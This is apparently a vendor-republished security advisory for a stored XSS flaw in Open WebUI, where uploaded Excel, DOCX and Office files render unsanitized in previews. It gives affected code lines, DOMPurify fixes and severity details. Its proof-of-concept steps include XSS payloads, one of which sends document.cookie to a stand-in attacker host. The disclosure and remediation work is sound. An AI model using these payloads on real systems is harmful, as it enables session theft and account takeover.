Summary
Related advisory
This advisory tracks a regression of the original Excel-preview XSS that was
publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc
(patched in v0.8.0). The same root cause, XLSX.utils.sheet_to_html() output
rendered via {@html excelHtml} without DOMPurify, was reintroduced sometime
after v0.8.0 and is exploitable again as of v0.8.12 and through the version
range listed above. This advisory additionally covers the relatedfileOfficeHtml sink in src/lib/components/chat/FileNav.svelte
(lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
Root Cause
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
Occurrence 1: FilePreview.svelte, Office HTML
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
{:else if fileOfficeHtml !== null}
<div class="office-preview overflow-auto flex-1 min-h-0">
{@html fileOfficeHtml} <!-- NO DOMPurify! -->
</div>
fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
Occurrence 2: FileItemModal.svelte, Excel HTML
File: src/lib/components/common/FileItemModal.svelte line 560
{@html excelHtml} <!-- NO DOMPurify! -->
excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Occurrence 3: FileItemModal.svelte, DOCX HTML
File: src/lib/components/common/FileItemModal.svelte line 590
{@html docxHtml} <!-- NO DOMPurify! -->
docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
Contrast with Sanitized Paths
For comparison, the same codebase correctly sanitizes in other locations:
<!-- MarkdownInlineTokens.svelte:130, SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}
<!-- General.svelte:276, SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}
<!-- Banner.svelte:103, SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}
Defense Propagation Gap
| Metric | Value |
|---|---|
Total {@html} usages |
23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing, these have varying levels of inherent safety but still represent inconsistent defense application.
Tested Version
- Open WebUI v0.8.12 (commit
9bd8425, tagv0.8.12)
Steps to Reproduce
PoC 1: Malicious Excel File
Create a
.xlsxfile with a cell containing:<img src=x onerror="alert(document.cookie)">(Using a library like openpyxl to inject raw HTML into cell values)
Upload the file to Open WebUI via the chat file upload
When any user previews the file →
excelHtmlrenders the injected HTML → XSS fires
PoC 2: Malicious DOCX File
Create a
.docxfile with embedded HTML:<w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>Upload to Open WebUI
File preview renders
docxHtml→ XSS fires
PoC 3: Verify Rendering Path
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
// FileItemModal → {@html excelHtml} // no DOMPurify
// FileItemModal → {@html docxHtml} // no DOMPurify
// FilePreview → {@html fileOfficeHtml} // no DOMPurify
// Compare with safe path:
// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!
Suggested Remediation
Apply DOMPurify to all three file preview paths:
<!-- FilePreview.svelte:324, FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}
<!-- FileItemModal.svelte:560, FIX -->
{@html DOMPurify.sanitize(excelHtml)}
<!-- FileItemModal.svelte:590, FIX -->
{@html DOMPurify.sanitize(docxHtml)}
Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
- OWASP XSS Prevention Cheat Sheet
- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
Impact
- Stored XSS, malicious file is stored server-side, XSS fires for every user who previews it
- Session hijacking via
document.cookietheft - Account takeover, attacker can perform actions as the victim user
- Data exfiltration, read chat history, API keys, uploaded documents
- Multi-user environments, shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
- Defense propagation failure, DOMPurify is available and used elsewhere, but not applied to file preview paths
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-45318 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-45318? CVE-2026-45318 is a medium-severity cross-site scripting (XSS) vulnerability in open-webui (pip), affecting versions <= 0.9.2. It is fixed in 0.9.3. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-45318? CVE-2026-45318 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of open-webui are affected by CVE-2026-45318? open-webui (pip) versions <= 0.9.2 is affected.
- Is there a fix for CVE-2026-45318? Yes. CVE-2026-45318 is fixed in 0.9.3. Upgrade to this version or later.
- Is CVE-2026-45318 exploitable, and should I be worried? Whether CVE-2026-45318 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45318 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45318? Upgrade
open-webuito 0.9.3 or later.